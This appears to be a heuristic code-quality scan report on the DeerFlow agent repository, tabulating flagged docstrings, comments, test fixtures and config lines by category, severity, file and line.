HIGHbackend/packages/harness/deerflow/utils/network.py114Get a free port in a thread-safe manner. This function uses a global port allocator to ensure that concurrent callsSTRING
HIGHbackend/packages/harness/deerflow/sandbox/tools.py292Resolve a virtual skills path to a host filesystem path. WARNING: For per-user custom skills (``/mnt/skills/custom/STRING
HIGHbackend/packages/harness/deerflow/sandbox/tools.py472Resolve a virtual ACP workspace path to a host filesystem path. Args: path: Virtual path (e.g. /mnt/acp-worSTRING
HIGHbackend/packages/harness/deerflow/sandbox/tools.py1375Ensure sandbox is initialized, acquiring lazily if needed. On first call, acquires a sandbox from the provider and STRING
HIGHbackend/packages/harness/deerflow/sandbox/sandbox.py63Execute bash command in sandbox. Args: command: The command to execute. env: Optional pSTRING
HIGHbackend/packages/harness/deerflow/sandbox/sandbox.py114Download the binary content of a file. Args: path: The absolute path of the file to download. STRING
HIGH…arness/deerflow/community/aio_sandbox/local_backend.py529Start a new container and return its connection info. Args: thread_id: Thread ID for which the sandSTRING
HIGH…arness/deerflow/community/aio_sandbox/local_backend.py792Start a new container. Args: container_name: Name for the container. port: Host port toSTRING
HIGH…deerflow/community/aio_sandbox/aio_sandbox_provider.py2010Create a new sandbox via the backend. Args: thread_id: Optional thread ID. sandbox_id: STRING
HIGH…rness/deerflow/community/aio_sandbox/ownership/base.py112Take ownership of *sandbox_id* only if it is unowned or already ours. Exclusive: succeeds only when the containSTRING
HIGH…kend/packages/harness/deerflow/reflection/resolvers.py29Resolve a variable from a path. Args: variable_path: The path to the variable (e.g. "parent_package_name.suSTRING
HIGH…kend/packages/harness/deerflow/reflection/resolvers.py74Resolve a class from a module path and class name. Args: class_path: The path to the class (e.g. "langchainSTRING
HIGHdocs/SKILL_NAME_CONFLICT_FIX.md214Find a skill by name, optionally filtered by category. Args: skills: List of all skills skill_nSTRING
HIGHskills/public/code-documentation/SKILL.md273Process data from the given file path. Reads the input file, applies transformations based on the provided optiSTRING
Modern AI Meta-Vocabulary59 hits · 140 pts
SeverityFileLineSnippetContext
MEDIUMCHANGELOG.md239#### Auth & guardrailsCOMMENT
MEDIUMREADME.md774DeerFlow also supports [Monocle](https://github.com/monocle2ai/monocle), an OpenTelemetry-based tracer for agentic appliCODE
MEDIUMREADME.md784Each run writes one trace file to `.monocle/`; open it in the [Monocle VS Code extension](https://marketplace.visualstudCODE
MEDIUMconfig.example.yaml718 # embedding model and retrieved with at most four groups in parallel. GroupCOMMENT
MEDIUMconfig.example.yaml1121# Prevents oversized tool results from blowing the model context window.COMMENT
MEDIUMconfig.example.yaml1242# guardrails / models / tools). The built-in set covers OpenAI-compatibleCOMMENT
MEDIUMconfig.example.yaml2553# guardrails:COMMENT
MEDIUMconfig.example.yaml2556# use: deerflow.guardrails.builtin:AllowlistProviderCOMMENT
MEDIUMconfig.example.yaml2563# pip install aport-agent-guardrails && aport setup --framework deerflowCOMMENT
MEDIUMconfig.example.yaml2564# guardrails:COMMENT
MEDIUMconfig.example.yaml2570# guardrails:COMMENT
MEDIUMconfig.example.yaml470 # MiniMax provides high-performance models with 512K context window and 128K max outputCOMMENT
MEDIUMconfig.example.yaml534 # MiniMax provides high-performance models with 512K context window and 128K max outputCOMMENT
MEDIUMAGENTS.md57├── Makefile # Root orchestration: drives the full stack (dev/start/stop, docker, setup)CODE
MEDIUMAGENTS.md73├── scripts/ # Root orchestration scripts invoked by the Makefile (check, configure, doctor, suppCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json104 "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"urCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json104 "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"urCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json104 "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"urCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json269 "content": "[\n {\n \"title\": \"Top Technology Trends to Watch in 2026: AI, Quantum Computing ...\",\n \CODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json383 "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI armCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json383 "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI armCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json694 "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqinCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json732 "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[SCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json199 "content": "{\n \"name\": \"bytedance/deer-flow\",\n \"description\": \"DeerFlow is a community-driven Deep ReCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json618 "content": "[\n {\n \"title\": \"Create Your Own Deep Research Agent with DeerFlow\",\n \"url\": \"https:CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json656 "content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequenceCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json656 "content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequenceCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1149 "content": "[\n {\n \"title\": \"[Up-to-date] Awesome Agentic Deep Research Resources - GitHub\",\n \"urlCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1226 "content": "[\n {\n \"title\": \"DeerFlow\",\n \"url\": \"https://deerflow.tech/\",\n \"snippet\": \"MCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1765 "content": "I've created a **stylish, production-grade webpage** based on the DeerFlow research report. Here's wCODE
MEDIUMdeploy/helm/deer-flow/values.yaml317 # datasets are grouped by embedding model with up to four parallel retrievalCOMMENT
MEDIUMbackend/tests/test_suggestions_router.py65 # MiniMax-M3 inlines its chain-of-thought as <think>...</think> in contentCOMMENT
MEDIUM…kend/tests/monocle/traces/web_research_ev_battery.json74 "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser inCODE
MEDIUM…kend/tests/monocle/traces/web_research_ev_battery.json236 "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser inCODE
MEDIUM…kend/tests/monocle/traces/web_research_ev_battery.json510 "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser inCODE
MEDIUM…kend/tests/monocle/traces/web_research_ev_battery.json731 "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser inCODE
MEDIUMbackend/docs/GUARDRAILS.md155[APort Agent Guardrails](https://github.com/aporthq/aport-agent-guardrails) is one open-source (Apache 2.0) implementatiCODE
MEDIUMbackend/docs/task_tool_improvements.md121_scheduler_pool.submit(run_task) # Submit orchestration taskCODE
MEDIUM…ckend/packages/harness/deerflow/agents/memory/tools.py156# The staleness age/category/removal-count guardrails protect automaticCOMMENT
MEDIUM…low/agents/middlewares/safety_termination_detectors.py127 https://platform.claude.com/docs/en/test-and-evaluate/strengthen-guardrails/handle-streaming-refusalsSTRING
MEDIUMdocs/plans/2026-07-10-pluggable-authorization-rfc.md433# When authorization.enabled and guardrails.provider is unset, the authorizationCOMMENT
MEDIUMdocs/plans/2026-07-10-pluggable-authorization-rfc.md435# (e.g. OAP) AS WELL, set guardrails.provider explicitly; both then enforce.COMMENT
MEDIUMdocs/plans/2026-07-10-pluggable-authorization-rfc.md510- **[#3664](https://github.com/bytedance/deer-flow/issues/3664) / PR [#3665](https://github.com/bytedance/deer-flow/pullCODE
MEDIUMdocs/plans/2026-07-10-pluggable-authorization-rfc.md510- **[#3664](https://github.com/bytedance/deer-flow/issues/3664) / PR [#3665](https://github.com/bytedance/deer-flow/pullCODE
MEDIUMscripts/support_bundle.py32# inside an open-ended config dict (e.g. guardrails.provider.config, which is anCOMMENT
MEDIUM.github/workflows/triage.yml3# One workflow for all event-driven PR/issue labeling. Replaces the formerCOMMENT
MEDIUM.github/workflows/triage.yml58 ['area:backend', [/^backend\/app\//, /^backend\/packages\/harness\/deerflow\/(runtime|persistence|config|CODE
Cross-File Repetition21 hits · 105 pts
SeverityFileLineSnippetContext
HIGHbackend/tests/test_serper_tools.py0reset the module-level warning flag before each test.STRING
HIGHbackend/tests/test_brave_tools.py0reset the module-level warning flag before each test.STRING
HIGHbackend/tests/test_serply_tools.py0reset the module-level warning flag before each test.STRING
HIGH…ages/harness/deerflow/runtime/checkpointer/provider.py0create the configured schema before langgraph creates its store tables.STRING
HIGH…arness/deerflow/runtime/checkpointer/async_provider.py0create the configured schema before langgraph creates its store tables.STRING
HIGH…nd/packages/harness/deerflow/runtime/store/provider.py0create the configured schema before langgraph creates its store tables.STRING
HIGH…kages/harness/deerflow/runtime/store/async_provider.py0create the configured schema before langgraph creates its store tables.STRING
HIGH…/packages/harness/deerflow/community/crawl4ai/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…packages/harness/deerflow/community/firecrawl/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…d/packages/harness/deerflow/community/fastcrw/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…ckend/packages/harness/deerflow/community/exa/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…d/packages/harness/deerflow/community/jina_ai/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…nd/packages/harness/deerflow/community/tavily/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…packages/harness/deerflow/community/infoquest/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…ckages/harness/deerflow/community/browserless/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…ckages/harness/deerflow/community/groundroute/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…packages/harness/deerflow/community/firecrawl/tools.py0search the web. args: query: the query to search for.STRING
HIGH…d/packages/harness/deerflow/community/fastcrw/tools.py0search the web. args: query: the query to search for.STRING
HIGH…ckend/packages/harness/deerflow/community/exa/tools.py0search the web. args: query: the query to search for.STRING
HIGH…nd/packages/harness/deerflow/community/tavily/tools.py0search the web. args: query: the query to search for.STRING
HIGH…packages/harness/deerflow/community/infoquest/tools.py0search the web. args: query: the query to search for.STRING
Self-Referential Comments30 hits · 84 pts
SeverityFileLineSnippetContext
MEDIUMconfig.example.yaml804 # Create a service API key in the Tencent Cloud WSA console, then setCOMMENT
MEDIUM…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json202 "content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as snCODE
MEDIUMbackend/app/gateway/auth/credential_file.py38 f"# DeerFlow admin {label} credentials\n# This file is generated on first boot or password reset.\n# Change the CODE
MEDIUMbackend/app/channels/manager.py2475 # Create a new thread through GatewayCOMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py512 # Create a live local runCOMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py1010 # Create a run owned by a different workerCOMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py1179 # Create an active run with an expired lease (simulating a crashed worker)COMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py2175 # Create a run that this worker ownsCOMMENT
MEDIUMbackend/tests/test_sandbox_search_tools.py542 # Create a sandbox with PathMappings that use user-abc's directoryCOMMENT
MEDIUMbackend/tests/test_client_e2e.py502 # Create an output file in the thread's outputs directoryCOMMENT
MEDIUMbackend/tests/test_channel_file_attachments.py108 # Create the directory structure: threads/{thread_id}/user-data/outputs/COMMENT
MEDIUMbackend/tests/test_run_manager.py1311 # Create a run and let it complete (will be in both memory and store)COMMENT
MEDIUMbackend/tests/test_custom_agent.py445 # Create the agents dir with a file (not a dir)COMMENT
MEDIUMbackend/tests/test_custom_agent.py676 # Create an agent through the API, then hand-author a github: blockCOMMENT
MEDIUMbackend/tests/test_client.py2139 # Create a source fileCOMMENT
MEDIUMbackend/tests/test_client.py3339 # Create a small archive that claims huge uncompressed size.COMMENT
MEDIUMbackend/tests/test_client.py3803 # Create a target file outside uploads dir.COMMENT
MEDIUMbackend/tests/test_client.py3807 # Create a symlink inside uploads dir pointing to outside file.COMMENT
MEDIUMbackend/tests/test_client.py1942 # Create a valid .skill archiveCOMMENT
MEDIUMbackend/tests/test_skills_custom_router.py1025 # Create a public skillCOMMENT
MEDIUMbackend/tests/test_skills_custom_router.py1030 # Create a global custom skill (LEGACY fallback for users without per-user dir)COMMENT
MEDIUMbackend/tests/test_skills_custom_router.py1035 # Create a per-user custom skillCOMMENT
MEDIUMbackend/tests/test_skills_custom_router.py300 # Create a skill in user-level custom dirCOMMENT
MEDIUMbackend/packages/harness/deerflow/subagents/executor.py938 # Create a new result for synchronous executionCOMMENT
MEDIUMbackend/packages/harness/deerflow/subagents/executor.py1300 # Create a result with error if we don't have oneCOMMENT
MEDIUM…eerflow/agents/middlewares/clarification_middleware.py529 # Create a ToolMessage with the formatted questionCOMMENT
MEDIUMbackend/packages/harness/deerflow/mcp/tools.py774 # Create the multi-server MCP clientCOMMENT
MEDIUMbackend/packages/harness/deerflow/sandbox/tools.py1541 # Create the three directoriesCOMMENT
MEDIUMscripts/deploy.sh161 # Create a minimal empty config so the gateway doesn't fail on startupCOMMENT
MEDIUM.github/labels.yml3# This file is the single source of truth for repository labels used by theCOMMENT
Verbosity Indicators43 hits · 65 pts
SeverityFileLineSnippetContext
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json168 "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json365 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json64 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json186 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOWbackend/tests/test_multi_worker_run_ownership.py2251 # Step 1: cancel(action=rollback) flips running → interruptedCOMMENT
LOWbackend/tests/test_multi_worker_run_ownership.py2257 # Step 2: worker.py finalize path — task raises CancelledError, thenCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py82 # Step 1: Start a container (simulating previous process lifecycle)COMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py94 # Step 2: Create backend and list running containersCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py105 # Step 3: list_running should find our containerCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py110 # Step 4: Simulate reconciliation — this container's created_at is recent,COMMENT
LOWbackend/tests/test_client_e2e.py166# Step 2: Basic streaming (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py227# Step 3: Tool call flow (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py263# Step 4: File upload integration (no LLM needed for most)COMMENT
LOWbackend/tests/test_client_e2e.py347# Step 5: Lifecycle and configuration (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py404# Step 6: Middleware chain verification (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py442# Step 7: Error and boundary conditionsCOMMENT
LOWbackend/tests/test_client_e2e.py487# Step 8: Artifact access (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py542# Step 9: Skill installation (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py639# Step 10: Configuration management (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py776# Step 11: Memory access (no LLM needed)COMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py295 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py302 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py323 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py330 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_client.py2545 # Step 2: ListCOMMENT
LOWbackend/tests/test_client.py2550 # Step 3: Delete oneCOMMENT
LOWbackend/tests/test_client.py2554 # Step 4: Verify deletionCOMMENT
LOWbackend/tests/test_client.py2533 # Step 1: UploadCOMMENT
LOWbackend/tests/test_client.py2942 # Step 1: InstallCOMMENT
LOWbackend/tests/test_client.py2954 # Step 2: List and find itCOMMENT
LOWbackend/tests/test_client.py2966 # Step 3: Disable itCOMMENT
LOWbackend/tests/test_mcp_config_secrets.py361 # Step 1: Server returns masked config (simulates GET response)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py366 # Step 2: Frontend toggles enabled and sends back (simulates PUT request)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py369 # Step 3: Server merges with existing secrets (simulates PUT handler)COMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py122 # Step 1: Look up built-in, then fall back to custom_agentsCOMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py131 # Step 2: Apply per-agent overrides from config.yaml agents section.COMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py677 # Step 1: enumerate container names via docker psCOMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py712 # Step 2: batched docker inspect — single subprocess call for all containersCOMMENT
LOWskills/public/find-skills/scripts/install-skill.sh49# Step 1: Install the skill using npxCOMMENT
LOWskills/public/find-skills/scripts/install-skill.sh52# Step 2: Verify installationCOMMENT
LOWskills/public/find-skills/scripts/install-skill.sh58# Step 3: Create symlinkCOMMENT
Fake / Example Data51 hits · 61 pts
SeverityFileLineSnippetContext
LOWfrontend/tests/unit/core/auth/remember-login.test.ts42 email: "admin@example.com",CODE
LOWfrontend/tests/unit/core/auth/remember-login.test.ts48 "admin@example.com",CODE
LOWfrontend/tests/unit/core/auth/remember-login.test.ts56 "deerflow.auth.remembered_email": "admin@example.com",CODE
LOWfrontend/tests/unit/core/auth/remember-login.test.ts61 email: "admin@example.com",CODE
LOWfrontend/tests/unit/core/auth/remember-login.test.ts88 email: "admin@example.com",CODE
LOWfrontend/tests/unit/core/threads/export.test.ts209 const message = ai("placeholder", {CODE
LOWfrontend/tests/unit/core/threads/export.test.ts301 const message = ai("placeholder", {CODE
LOW…nents/workspace/gateway-offline-banner-helpers.test.ts14 email: "user@example.com",CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts138 (element) => pattern.test(element.getAttribute("placeholder") ?? ""),CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts168 placeholderPattern.test(element.getAttribute("placeholder") ?? ""),CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts243 /deeper follow-up/i.test(element.getAttribute("placeholder") ?? ""),CODE
LOWbackend/tests/test_clarification_middleware.py588 "fields": [{"name": "note", "placeholder": "Optional remarks"}],CODE
LOWbackend/tests/test_clarification_middleware.py594 assert payload["fields"][0]["placeholder"] == "Optional remarks"CODE
LOWbackend/tests/test_clarification_middleware.py636 assert sorted(items["properties"].keys()) == ["label", "name", "options", "placeholder", "required", "type"]CODE
LOWbackend/tests/test_oidc_auth.py25 "email": "user@example.com",CODE
LOWbackend/tests/test_oidc_auth.py36 local_user = User(email="user@example.com", password_hash="hash")CODE
LOWbackend/tests/test_oidc_auth.py93 identity=_identity(subject="admin-subject", email="admin@example.com"),CODE
LOWbackend/tests/test_oidc_auth.py99 email="admin@example.com",CODE
LOWbackend/tests/test_oidc_auth.py189 local_provider.get_user_by_email.assert_awaited_once_with("user@example.com")CODE
LOWbackend/tests/test_oidc_auth.py197 created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")CODE
LOWbackend/tests/test_oidc_auth.py58 local_user = User(email="user@example.com", password_hash="hash")CODE
LOWbackend/tests/test_oidc_auth.py82 email="admin@example.com",CODE
LOWbackend/tests/test_oidc_auth.py175 local_user = User(email="user@example.com", password_hash="hash")CODE
LOWbackend/tests/test_oidc_auth.py208 email="user@example.com",CODE
LOWbackend/tests/test_oidc_auth.py249 return {"sub": "subject", "email": "user@example.com", "email_verified": "false"}CODE
LOWbackend/tests/test_oidc_auth.py270 created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")CODE
LOWbackend/tests/test_paths_user_isolation.py43 result = make_safe_user_id("user@example.com")CODE
LOWbackend/tests/test_paths_user_isolation.py48 assert make_safe_user_id("user@example.com") == resultCODE
LOWbackend/tests/test_paths_user_isolation.py101 raw = "user@example.com"CODE
LOWbackend/tests/test_channels_router.py19 email="admin@example.com",CODE
LOWbackend/tests/test_channels_router.py28 email="user@example.com",CODE
LOWbackend/tests/test_auth.py371 user = User(email="admin@example.com", password_hash="hash", needs_setup=True)CODE
LOWbackend/tests/test_channels.py3774 raw = "user@example.com"CODE
LOWbackend/tests/test_channels.py3794 raw = "user@example.com"CODE
LOWbackend/tests/test_claude_provider_oauth_billing.py17 m = ClaudeChatModel(model="claude-sonnet-4-6", anthropic_api_key="sk-ant-oat-fake-token") # type: ignore[call-aCODE
LOWbackend/tests/test_claude_provider_oauth_billing.py19 m._oauth_access_token = "sk-ant-oat-fake-token"CODE
LOWbackend/tests/test_runtime_lifecycle_e2e.py195 monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used")CODE
LOWbackend/tests/test_initialize_admin.py61 "email": "admin@example.com",CODE
LOWbackend/tests/test_initialize_admin.py75 assert data["email"] == "admin@example.com"CODE
LOWbackend/tests/test_buzz_channel.py501 asyncio.run(ch.send(_outbound(ch, "placeholder", is_final=False)))CODE
LOWbackend/tests/test_setup_agent_http_e2e_real_server.py73 monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used-because-llm-is-mocked")CODE
LOWbackend/docs/AUTH_TEST_PLAN.md90 -d '{"email":"admin@example.com","password":"AdminPass1!"}' \CODE
LOWbackend/docs/AUTH_TEST_PLAN.md96- Body: `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`CODE
LOWbackend/docs/AUTH_TEST_PLAN.md105**预期:** `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`CODE
LOWbackend/docs/AUTH_TEST_PLAN.md356 -H "X-CSRF-Token: fake-token" \CODE
LOWbackend/docs/AUTH_TEST_PLAN.md688 -d '{"email":"admin@example.com","password":"AdminPass1!"}' \CODE
LOWbackend/docs/AUTH_TEST_PLAN.md1541 -d '{"email":"admin@example.com","password":"AdminPass1!"}' \CODE
LOW…eerflow/agents/middlewares/clarification_middleware.py257 placeholder = entry.get("placeholder")CODE
LOW…eerflow/agents/middlewares/clarification_middleware.py261 field["placeholder"] = placeholder.strip()CODE
LOW…ages/harness/deerflow/skills/skillscan/orchestrator.py113_PLACEHOLDER_VALUES = {"", "x", "xx", "xxx", "xxxx", "changeme", "change-me", "example", "placeholder", "test", "dummy",CODE
LOW…rness/deerflow/community/browser_automation/session.py67 el.getAttribute("placeholder") || el.innerText || el.value || "").trim();CODE
Hallucination Indicators4 hits · 40 pts
SeverityFileLineSnippetContext
CRITICALbackend/app/channels/feishu.py341 return self._api_client.im.v1.image.create(request)CODE
CRITICALbackend/app/channels/feishu.py353 return self._api_client.im.v1.file.create(request)CODE
CRITICALbackend/app/channels/feishu.py419 return self._api_client.im.v1.message_resource.get(request)CODE
CRITICALbackend/tests/test_tui_transparent.py48 assert app.screen.styles.background.hex.lower() == THEME.bgCODE
Redundant / Tautological Comments24 hits · 35 pts
SeverityFileLineSnippetContext
LOWconfig.example.yaml1705 # Set false to disable the new deterministic analyzers (nested-archive,COMMENT
LOW…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json123 "content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as snCODE
LOWbackend/app/gateway/routers/artifacts.py392 # Check if this is a request for a file inside a .skill archive (e.g., xxx.skill/SKILL.md)COMMENT
LOWbackend/app/channels/discord.py525 # Check if there's an active thread for this channelCOMMENT
LOWbackend/tests/test_infoquest_client.py99 # Check if result is a valid JSON string with expected contentCOMMENT
LOWbackend/tests/test_infoquest_client.py278 # Check if result is a valid JSON string with expected contentCOMMENT
LOWbackend/tests/test_infoquest_client.py326 # Check if result is a valid JSON stringCOMMENT
LOW…/packages/harness/deerflow/tools/builtins/task_tool.py540 # Check if task completed, failed, or timed outCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py116 # Check if all tool calls have been completedCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py210 # Check if it has view_image tool callsCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py214 # Check if all tools have been completedCOMMENT
LOW…arness/deerflow/agents/middlewares/title_middleware.py118 # Check if thread already has a title in stateCOMMENT
LOW…arness/deerflow/agents/middlewares/title_middleware.py122 # Check if this is the first turn (has at least one user message and one assistant response).COMMENT
LOW…eerflow/agents/middlewares/clarification_middleware.py564 # Check if this is an ask_clarification tool callCOMMENT
LOW…eerflow/agents/middlewares/clarification_middleware.py589 # Check if this is an ask_clarification tool callCOMMENT
LOWbackend/packages/harness/deerflow/mcp/cache.py157 # Check if cache is stale due to config file changesCOMMENT
LOWbackend/packages/harness/deerflow/sandbox/tools.py531 # Check if args has server-filesystem packageCOMMENT
LOWbackend/packages/harness/deerflow/sandbox/tools.py1398 # Check if sandbox already exists in stateCOMMENT
LOWbackend/packages/harness/deerflow/sandbox/tools.py1537 # Check if directories have already been createdCOMMENT
LOW…rness/deerflow/community/infoquest/infoquest_client.py68 # Check if status code is not 200COMMENT
LOWscripts/detect_uv_extras.py199 # Check if we're at the parent's child level (subsection)COMMENT
LOWskills/public/skill-creator/scripts/init_skill.py208 # Check if directory already existsCOMMENT
LOWskills/public/vercel-deploy-claimable/scripts/deploy.sh175# Check if input is a .tgz file or a directoryCOMMENT
